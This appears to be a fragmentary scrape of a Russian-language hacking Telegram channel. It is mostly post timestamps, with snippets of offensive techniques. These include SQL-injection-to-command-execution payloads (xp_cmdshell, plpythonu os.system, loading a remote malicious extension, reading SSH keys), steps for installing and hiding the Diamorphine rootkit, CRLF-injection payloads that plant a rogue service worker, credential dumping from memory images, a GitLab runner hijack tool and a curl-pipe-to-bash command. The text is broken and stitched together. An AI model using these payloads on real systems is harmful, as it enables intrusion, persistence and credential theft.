Канал "Похек" - это место, где вы можете найти все необходимые материалы для изучения и погружения в мир хакинга и кибербезопасности. Все опубликованные здесь материалы предназначены исключительно для образовательных и информационных целей, чтобы помочь вам расширить свои знания и навыки в этой увлекательной области. На канале также есть возможность общения и обмена опытом в чате @poxek_chat. Автором канала является @szybnev, который является экспертом в области хакинга и кибербезопасности. Присоединяйтесь к нам на канале "Похек" и станьте частью сообщества любителей и профессионалов в этой увлекательной сфере!
11 Jan, 11:27
10 Jan, 15:23
09 Jan, 07:20
29 Dec, 18:19
29 Dec, 13:00
28 Dec, 13:01
27 Dec, 13:34
25 Dec, 13:36
24 Dec, 15:23
24 Dec, 14:13
24 Dec, 07:11
23 Dec, 13:44
zapret.zip с гитхаба, который меняет формат пакетов tcp/ip чтобы "ускорить" старые "медленные сервера" googlevideo и не только. Заранее просьба ко всем - подайте жалобы на эти TG и Youtube каналы с указанием на вирус-майнер. Жертв вируса будет намного меньше если эти каналы исчезнут, там сейчас очень много незадачливых подписчиков (30к на ТГ и 61К а Ютубе).23 Dec, 11:51
23 Dec, 11:35
21 Dec, 07:58
20 Dec, 10:02
18 Dec, 09:30
16 Dec, 12:24
xp_cmdshell. Конечно, должны присутствовать необходимые привилегии, чтобы ее включить, так как по дефолту она выключена. После этого можно выполнять команды:EXEC xp_cmdshell 'dir c:\';
SELECT sys_eval('whoami');plpythonu для исполнения python когда прямо из SQL.-- create extension
CREATE EXTENSION IF NOT EXISTS plpythonu;
-- define the malicious function
CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
import os
os.system(cmd)
$$ LANGUAGE plpythonu;
-- execute command
SELECT exec_cmd('whoami');
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');
PROGRAMUNION SELECT 1,load_extension('\\example.com\mal_extension.so', 'MainFuncCall')load_file() прочитать закрытые ключи SSH (этот подход можно применять и в других бдшках)16 Dec, 09:30
14 Dec, 14:25
14 Dec, 13:57
03 Dec, 13:02
02 Dec, 16:00
450221ee3d9144ca03e1058d3ba0e5ad09b4153341676089db9e244662b89800
02 Dec, 12:02
30 Nov, 14:41
29 Nov, 23:08
FEYMI-S4MGL-SDXBM-TV1MD.29 Nov, 11:19
28 Nov, 12:33
28 Nov, 10:44
28 Nov, 07:40
27 Nov, 15:12
27 Nov, 11:04
Purple Team.LKM (Loadable kernel module) руткита Diamorphine.Diamorphine хорошо известный руткит с открытым исходным кодом, который активно используется злоумышленниками в дикой природе уже много лет, который можно загрузить различными способами. Наиболее распространенный - это просто положить в /etc/modules или использовать службу systemd-modules-load. Файлы конфигурации модулей systemd-modules-load ищет в следующих директориях: /etc/modules-load.d, /usr/lib/modules-load.d, /usr/local/lib/modules-load.d, /run/modules-load.dDiamorphine или собрать из исходников на тачке, например в контейнере или еще как-нибудь, обычно зависит от уровня зрелости мониторинга и степени паранойи SOC на текущем проекте😁Diamorphine позволяет указать "magic string" - строку в начале наименования файла или директории, которую руткит автоматически скроет при загрузке, например apt1337modules.depcp diamorphine.ko /usr/lib/modules/$(uname -r)/kernel/drivers/block/apt1337-diamorphine.ko
depmodsystemd-modules-loadecho apt1337-diamorphine >/usr/lib/modules-load.d/apt1337-not_evil.confmodprobe apt1337-diamorphineLKM будет загружаться автоматически😎 Безусловно техника базовая и довольно распространенная, поэтому нуждается в доработке относительно сокрытия. Как минимум рекомендую использовать Timestomping для файлов в /usr/lib/modules/* и использовать менее очевидный нейминг./proc/sys/kernel/tainted так как загруженный модуль не подписан, но это уже тема другой заметки😁 27 Nov, 09:12
26 Nov, 13:16
26 Nov, 08:25
25 Nov, 15:33
21 Nov, 13:02
21 Nov, 08:51
21 Nov, 08:11
20 Nov, 11:14
20 Nov, 10:15
19 Nov, 14:46
14 Nov, 13:01
12 Nov, 19:12
printf '%02X' 192 168 0 1 ; echo
C0A80001, подставляем 0x - hex кодhttp://0xC0A80001 и вау, оно срабатывает 12 Nov, 08:11
11 Nov, 09:12
10 Nov, 12:02
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3Ehttps://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
10 Nov, 09:46
09 Nov, 12:44
08 Nov, 12:59
08 Nov, 10:26
07 Nov, 15:33
07 Nov, 14:28
07 Nov, 11:44
cat IIS.txt | xargs -I@ sh -c 'shortscan @'
06 Nov, 08:11
05 Nov, 22:27
05 Nov, 12:38
C:\Windows\MEMORY.DMP fileC:\WIndows\MEMORY.DMPpy vol.py -f MEMORY.DMP windows.cachedump.Cachedump
py vol.py -f MEMORY.DMP windows.hashdump.Hashdump
py vol.py -f MEMORY.DMP windows.lsadump.Lsadump
04 Nov, 14:17
usage: hijack-runner.py [-h] [--target TARGET] [--register REGISTER] [--attack ATTACK] [--tag TAG]
[--clone]
Abuse GitLab Runners
optional arguments:
-h, --help show this help message and exit
--target TARGET The GitLab instance to target
--register REGISTER Register a token
--attack ATTACK Use Runner token to steal data
--tag TAG Taglist separated with commas
--clone Will clone the repo locally
04 Nov, 08:11
03 Nov, 14:17
03 Nov, 09:12
02 Nov, 15:18
02 Nov, 08:11
01 Nov, 20:31
01 Nov, 13:16
01 Nov, 11:14
01 Nov, 07:12
31 Oct, 13:02
25 Oct, 13:01
24 Oct, 16:48
24 Oct, 06:16
23 Oct, 13:01
23 Oct, 08:26
22 Oct, 13:01
21 Oct, 08:59
20 Oct, 12:59
20 Oct, 08:59
git clone https://github.com/lirantal/CVE-2024-27983-nodejs-http2.git ; cd CVE-2024-27983-nodejs-http2 ; chmod u+x ./start.sh ;./start.sh
19 Oct, 14:24
19 Oct, 14:19
19 Oct, 09:12
18 Oct, 16:07
18 Oct, 07:30
17 Oct, 13:01
17 Oct, 09:01
17 Oct, 08:10
16 Oct, 13:02
16 Oct, 08:38
(Request.Path CONTAINS "api" OR Request.Host CONTAINS "api") AND !(Request.Method == "OPTIONS
(Request.Path CONTAINS "graphql" OR Request.Host CONTAINS "graphql") AND !(Request.Method == "OPTIONS")
Response.Body == /AIza[0-9A-Za-z\\-_]{35}/Response.Body == /[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com/Response.Body == /\"type\": \"service_account\"/
Response.Body == /ya29\\.[0-9A-Za-z\\-_]+/
Response.Body == /.*firebaseio\.com/
Response.Body == /[g|G][i|I][t|T][h|H][u|U][b|B].*['|\"][0-9a-zA-Z]{35,40}['|\"]/Request.Method == "POST" AND !(Request.Headers CONTAINS "Content-Type: application/json" OR Response.Headers CONTAINS "application/json")
Request.Method == "POST" OR (Request.Headers CONTAINS "Content-Type: application/json" AND Request.Headers CONTAINS "Content-Length: 0")
(Request.Query MATCHES ".*(http%3A%2F%2F|https%3A%2F%2F)?(www.)?[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}.*" OR Request.Body MATCHES ".*(http%3A%2F%2F|https%3A%2F%2F)?(www.)?[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}.*")!(Request.Headers CONTAINS "Authorization:") AND (Response.Headers CONTAINS "Access-Control-Allow-Credentials" OR Response.Headers CONTAINS "Access-Control-Allow-Origin")
15 Oct, 14:19
15 Oct, 11:01
14 Oct, 14:00
13 Oct, 16:52
13 Oct, 16:51
10 Oct, 15:36
POXEK10 Oct, 08:31
09 Oct, 09:26
curl -sSL https://raw.githubusercontent.com/ImMALWARE/bash-warp-generator/main/warp_generator.sh | bash
